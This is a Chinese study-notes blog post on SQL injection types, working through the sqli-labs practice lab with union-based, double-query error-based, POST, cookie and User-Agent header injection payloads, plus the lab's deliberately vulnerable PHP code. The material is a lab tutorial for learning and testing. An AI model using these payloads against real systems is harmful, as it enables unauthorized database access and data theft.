网安学习Day14(web漏洞-SQL注入类型及提交注入)

news2025/2/27 22:57:26

SQL注入类型及提交注入

    • 简要明确参数类型
    • 简要明确请求方法
    • 参数字符型注入测试=>sqlilabs less 5 6
      • sqlilabs less 5
    • 在这里插入图片描述
      • sqlilabs less 6
    • POST数据提交注入测试=>sqlilabs less 11
    • 参数JSON数据注入测试=>本地环境代码演示
    • COOKIE数据提交注入测试=>sqlilabs less 20
    • HTTP头部参数数据注入测试=>sqlilabs less 18

在这里插入图片描述

简要明确参数类型

  • 数字,字符,搜索,JSON等
  • 数字—id=1为数字型,int、float、double
mysql> select * from emails where id=1;
ERROR 2006 (HY000): MySQL server has gone away
No connection. Trying to reconnect...
Connection id:    5
Current database: security

+----+------------------+
| id | email_id         |
+----+------------------+
|  1 | Dumb@dhakkan.com |
+----+------------------+
1 row in set (0.05 sec)

  • 字符和字符串的搜索必须加上’’
mysql> select * from emails where email_id=Dumb@dhakkan.com;
ERROR 1064 (42000): You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '@dhakkan.com' at line 1
mysql> select * from emails where email_id='Dumb@dhakkan.com';
+----+------------------+
| id | email_id         |
+----+------------------+
|  1 | Dumb@dhakkan.com |
+----+------------------+
1 row in set (0.01 sec)

  $name=$_get[‘x’];

  $sql=” select * from user where name=’$name’”; 

如果注入语句: ?x=xiaodi and 1=1
数据库查询语句:select * from user where name=‘xiaodi and 1=1’;使得查询语句失效
正确的注入语句: x=xiaodi’and 1=’1

简要明确请求方法

GET, POST,COOKIE,REQUEST,HTTP头等
其中sql语句干扰符号: ',",s,),}等,具体需看写法
可能有些网站是以Request的方式接受参数,所以GET和POST都行
注入的地方可能在User-Agent上,关键是看是否带入数据库查询。

参数字符型注入测试=>sqlilabs less 5 6

sqlilabs less 5

less 5为Double Injection

  • 双查询注入:是两个嵌套的查询,即select …(select …),里面的那个select被称为子查询,他的执行顺序也是先执行子查询,然后再执行外面的select,双注入主要涉及到了几个sql函数:

  • rand()随机函数,返回0~1之间的某个值

  • floor(a)取整函数,返回小于等于a,且值最接近a的一个整数

  • count()聚合函数也称作计数函数,返回查询对象的总数

  • group by cluase分组语句,按照cluase对查询结果分组

  • 双注入破解原理:组合利用count(), group by, floor(),能够将查询的一部分以报错的形式显现出来。

  • 双注入的公式:

    • select count(*),concat((payload), floor(rand(0)*2)) as a from information_schema.tables group by a
      **

  • 正常页面
    在这里插入图片描述
    判断注入点时候发现输入?id=1 and 1=2没有任何反应
    在这里插入图片描述

而less-2输入确实这样
在这里插入图片描述
访问less-5的index.php

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Less-5 Double Query- Single Quotes- String</title>
</head>

<body bgcolor="#000000">
<div style=" margin-top:60px;color:#FFF; font-size:23px; text-align:center">Welcome&nbsp;&nbsp;&nbsp;<font color="#FF0000"> Dhakkan </font><br>
<font size="3" color="#FFFF00">


<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
error_reporting(0);
// take the variables
if(isset($_GET['id']))
{
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);

// connectivity 


$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

	if($row)
	{
  	echo '<font size="5" color="#FFFF00">';	
  	echo 'You are in...........';
  	echo "<br>";
    	echo "</font>";
  	}
	else 
	{
	
	echo '<font size="3" color="#FFFF00">';
	print_r(mysql_error());
	echo "</br></font>";	
	echo '<font color= "#0000ff" font size= 3>';	
	
	}
}
	else { echo "Please input the ID as parameter with numeric value";}

?>

</font> </div></br></br></br><center>
<img src="../images/Less-5.jpg" /></center>
</body>
</html>

发现参数在传递过程中,加了’id’
在这里插入图片描述

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

//SQL执行的语句是采用了’'闭合,
//我们要是直接使用?id=1 and 1=1相当于执行的是SELECT * FROM users WHERE id=‘1 and 1=1’ LIMIT 0,1;是不会有任何的反应。
所以less-5在注入的时候应该输入?‘id=1’

报错语句:
http://10.1.1.133/Less-5/?id=1' and '1'='1
http://10.1.1.133/Less-5/?id=1' and '1'='2
在这里插入图片描述
在这里插入图片描述
数据库相关操作:

mysql> SELECT * FROM users WHERE id='1' and '1'='1' LIMIT 0,1;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | Dumb     | Dumb     |
+----+----------+----------+
1 row in set (0.00 sec)

mysql> SELECT * FROM users WHERE id='1' and '1'='2' LIMIT 0,1;
Empty set (0.00 sec)

  • order by 猜解
    • oder by 4
      在这里插入图片描述

'- -+'是将后面的代码注释不执行。加入“ ‘ ”后出现语法错误,说明sql语句中的id加上引号进行了闭合,使我们无法查询到信息。在后面加“-–+” 把后面的语句注释掉,这样子sql语句就会形成闭合

数据库操作:

mysql>  SELECT * FROM users WHERE id='1' order by 4;
ERROR 1054 (42S22): Unknown column '4' in 'order clause'
mysql>  SELECT * FROM users WHERE id='1' order by 3;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | Dumb     | Dumb     |
+----+----------+----------+
1 row in set (0.00 sec)

利用语句查询信息:

?id=1' union select 1, count(*), concat((select database()), '---', floor(rand(0)*2)) as a from information_schema.tables group by a --+     

在这里插入图片描述

查询security库下的表名:
http://127.0.0.1/Less-5/?id=1%27%20union%20select%201,%20count(*),%20concat((select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=%27security%27),%20%27---%27,%20floor(rand(0)*2))%20as%20a%20from%20information_schema.tables%20group%20by%20a%20--+
在这里插入图片描述

sqlilabs less 6

判断是字符型注入还是数字型注入

?id=1 and 1=1
?id=1 and 1=2

在这里插入图片描述

区别一样。所以不是数字型注入
尝试单引号和双引号
在这里插入图片描述

在这里插入图片描述
所以less6的注入类型为:是双引号字符型注入

也可以通过查看index.php判断
在这里插入图片描述

  • 采用双引号的方式进行了编码,绕过方法"闭合前面的引号后面采用‘- -+’注释
    在这里插入图片描述

POST数据提交注入测试=>sqlilabs less 11

  • 原理:表单通过post传输数据,然后查询数据库比对,如果匹配则登录。因此,符合注入的条件
    打开less-10

bp抓包
在这里插入图片描述
在这里插入图片描述
查看index.php uname和passwd为单引号
这里添加一个echo回显
在这里插入图片描述
利用上述方法判断什么类型注入。为字符型
再用order by猜解个数
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
有三个
联合查询进行信息收集
在这里插入图片描述
在这里插入图片描述
其他操作同理

参数JSON数据注入测试=>本地环境代码演示

json格式
在这里插入图片描述

json注入
在这里插入图片描述注入方式:如果是数字的可以不加’闭合如果是字符的话,加上"闭合

COOKIE数据提交注入测试=>sqlilabs less 20

随便输入一个用户名密码,bp抓包然后发送到repeater重发器
在这里插入图片描述
修改cookie为Cookie: uname=admin' and 1=2 union select database(),2,3 #
在这里插入图片描述

HTTP头部参数数据注入测试=>sqlilabs less 18

在配置文件中添加一行显示SQL语句执行的显示界面
在这里插入图片描述
bp抓包发送到重发器
在这里插入图片描述

修改数据包注入获取数据库名称 :'and extractvalue (1,concat(0x7e,(select database()),0x7e)) and'
在这里插入图片描述
修改用户代理 User-Agent: ' and extractvalue (1,concat(0x7e,(select user()),0x7e)) and '
在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/39134.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

解决Windows 10 家庭中文版没有组策略编辑器的问题

解决Windows 10 家庭中文版无法打开组策略编辑器的问题 &#xff08;以下为解决效果&#xff09; 今天在工作时发现电脑无法打开组策略编辑器&#xff0c;即WinR输入gpedit.msc不能正常调出组策略编辑器&#xff1b; 查看了电脑为Windows 10 家庭中文版&#xff0c;查资料后发…

《恋上数据结构与算法》第1季:双向链表实现(超详细笔记,图文并茂)

数据结构与算法的学习笔记目录&#xff1a;《恋上数据结构与算法》的学习笔记 目录索引双向链表一、双向链表补充【List接口 和 AbstractList抽象类】二、设计双向链表三、双向链表的实现1. 查询节点2. 插入节点3. 删除节点4. 清空节点四、双向链表 vs 动态数组一、双向链表 与…

JUC包(java.util.concurrent)下的常用子类

文章目录前言一、对象锁juc.locks包二、原子类三、四个常用工具类3.1 信号量 Semaphore3.2 CountDownLatch总结前言 博主个人社区&#xff1a;开发与算法学习社区 博主个人主页&#xff1a;Killing Vibe的博客 欢迎大家加入&#xff0c;一起交流学习~~ 一、对象锁juc.locks包 …

单元测试入门篇

一、单元测试是什么&#xff1f; 单元测试&#xff08;unit testing&#xff09;&#xff0c;是指对软件中的最小可测试单元进行检查和验证。在测试金字塔模型中处于最底层&#xff1a; 整个金字塔模型代表着越上层的测试集成度越高&#xff0c;执行速度越慢&#xff0c;越下层…

2014-2020年国有大型商业银行和全国股份制商业银行绿色信贷数据

数据集名称&#xff1a;国有大型商业银行和全国股份制商业银行绿色信贷数据 时间范围&#xff1a;2014-2020年 数据来源&#xff1a;商业银行历年业绩报告和社会责任报告 相关说明&#xff1a;绿色金融是指为支持环境改善、应对气候变化和资源节约高效利用的经济活动&#x…

C语言练习之递归实现n的k次方

文章目录前言一、思路二、代码以及运行截图1.代码2.运行截图总结前言 使用C语言递归计算N的k次方 一、思路 求n的k次方的原理就是&#xff1a; n^k nn……*n&#xff08;k个n进行相乘&#xff09; 可以得到一个公式&#xff1a; f(k){1k0n∗f(k)k>0f(k) \left\{\begin{…

利用Redis来实现分布式锁

Redis命令 SET 命令有个 NX 参数可以实现「key不存在才插入」&#xff0c;可以用它来实现分布式锁&#xff1a; 如果 key 不存在&#xff0c;则显示插入成功&#xff0c;可以用来表示加锁成功&#xff1b;如果 key 存在&#xff0c;则会显示插入失败&#xff0c;可以用来表示…

PLC中ST编程的自定义功能块

右键单击——添加对线——程序组织单元 弹出对话框 修改名称&#xff0c;选择功能块&#xff1b; VAR_INPUT&#xff1a;输入变量&#xff1b;VAR_OUTPUT:输出变量&#xff1b;VAR&#xff1a;局部变量&#xff1b; 创建一个闪烁功能块&#xff0c;可输入亮和灭的时间&#xff…

基于SSM的高校共享单车管理系统【数据库设计、源码、开题报告】

数据库脚本下载地址&#xff1a; https://download.csdn.net/download/itrjxxs_com/86468380 主要使用技术 SpringSpringMVCMybatisEasyUIJqueryMysql 功能介绍 系统用户管理&#xff1a; 用户管理&#xff1a;可以添加、修改、删除、检索用户信息&#xff08;头像、用户账…

PSO粒子群算法微电网优化调度(微电网孤岛运行优化调度)matlab程序

PSO粒子群算法微电网优化调度&#xff08;微电网孤岛运行优化调度&#xff09;matlab程序 【含风电、光伏、微型燃机、储能蓄电池、燃料电池】 参考文献&#xff1a;基于改进粒子群算法的微电网优化调度 摘 要&#xff1a;当今全球普遍面临着能源危机和环境污染的加重&#xf…

全国工企专利匹配数据(1998-2014)

1、数据来源&#xff1a;国家统计局&#xff08;工业企业数据&#xff09;、专利数据来源于国家知识产权局。 2、时间跨度&#xff1a;1998-2014 3、区域范围&#xff1a;全国 4、指标说明&#xff1a; 包含以下指标&#xff1a; 公开&#xff08;公告&#xff09;日、申请…

基于SSM的毕业设计管理系统【数据库设计、源码、开题报告】

数据库脚本下载地址&#xff1a; https://download.csdn.net/download/itrjxxs_com/86469261 主要使用技术 SpringSpringMVCMybatisBootstrapJqueryMysql 功能介绍 本系统的用户可以分为三种&#xff1a;管理员、教师、学生。 管理员&#xff1a;导师管理、学生管理&#x…

【雷达通信】合成孔径雷达地面运动目标检测技术研究(Matlab代码实现)

&#x1f468;‍&#x1f393;个人主页&#xff1a;研学社的博客 &#x1f4a5;&#x1f4a5;&#x1f49e;&#x1f49e;欢迎来到本博客❤️❤️&#x1f4a5;&#x1f4a5; &#x1f3c6;博主优势&#xff1a;&#x1f31e;&#x1f31e;&#x1f31e;博客内容尽量做到思维缜…

第九章 持续集成CI:基于GitHub的Action回归验证

第九章 持续集成CI&#xff1a;基于GitHub的Action回归验证 持续集成可以认为是一种优秀的开发实践&#xff0c;它可以在代码变更的时候及时反映代码状态。持续集成需要服务器的支持&#xff0c;可以考虑通过 gitlib ci 或者 jenkins 自己搭建持续集成服务器&#xff0c;更好的…

基于SSM的地方文创特产在线商城【数据库设计、源码、开题报告】

数据库脚本下载地址&#xff1a; https://download.csdn.net/download/itrjxxs_com/86468623 主要使用技术 SpringSpringMVCMybatisBootstrapMysql 功能介绍 前台&#xff1a; 注册登录&#xff1a;普通用户可进行注册登录&#xff1b; 商品显示&#xff1a;游客可查看今日…

在CentOS 7.7 x86_64上为python 2.7.5安装pip的靠谱方法

我的虚拟机是CentOS 7.7 x86_64系统&#xff0c;对应的python默认版本是2.7.5&#xff0c;但是没有安装pip&#xff0c;不方便安装第三方模块。 我想为为它安装pip工具&#xff0c;发现现有的安装方法都行不通了&#xff0c;比如先安装easy_install&#xff0c;再通过easy_inst…

矩阵分解算法

文章目录0 前言1. 矩阵分解原理1.1 LFM公式推导LFM损失函数算法关键代码实现1.2 BiasSVD1.3 SVD参考0 前言 在协同过滤算法中 我们知道近邻协同过滤算法的显著缺点&#xff1a; 没有充分利用物品本身的属性信息处理稀疏矩阵能力很弱&#xff0c;泛化能力很弱 为了解决以上问…

Flink-窗口概念以及窗口API使用

6.3 窗口 6.3.1 窗口的概念 存储桶 水位线只是用来推动窗口的关闭&#xff0c;但不决定数据分到哪个窗口 6.3.2 窗口的分类 按照驱动类型分类 时间窗口计数窗口 按照窗口分配数据的规则分类 滚动窗口&#xff1a;参数为窗口的大小 滑动窗口&#xff1a;参数为窗口大小&am…

[CVPR2022] Debiased Learning from Naturally Imbalanced Pseudo-Labels

Debiased Learning from Naturally Imbalanced Pseudo-Labels 要点&#xff1a; 1、伪标签&#xff1a;由经过标记源数据训练的分类器&#xff0c;对未标记目标数据做出的置信预测&#xff0c;被广泛应用于使模型适应未标记数据&#xff0c;例如半监督学习 2、由于固有的数据…

bat批处理脚本大全

目录 1、echo 2、注释 3、常见cmd命令 4、参数与变量 5、for循环 6、函数 7、数组 在windows上编程或者制作一些小工具&#xff0c;少不了使用批处理脚本&#xff0c;而且在各种开发环境搭建中我们经常会看到批处理脚本。批处理脚本以cmd命令为基础&#xff0c;增加一些变量和参…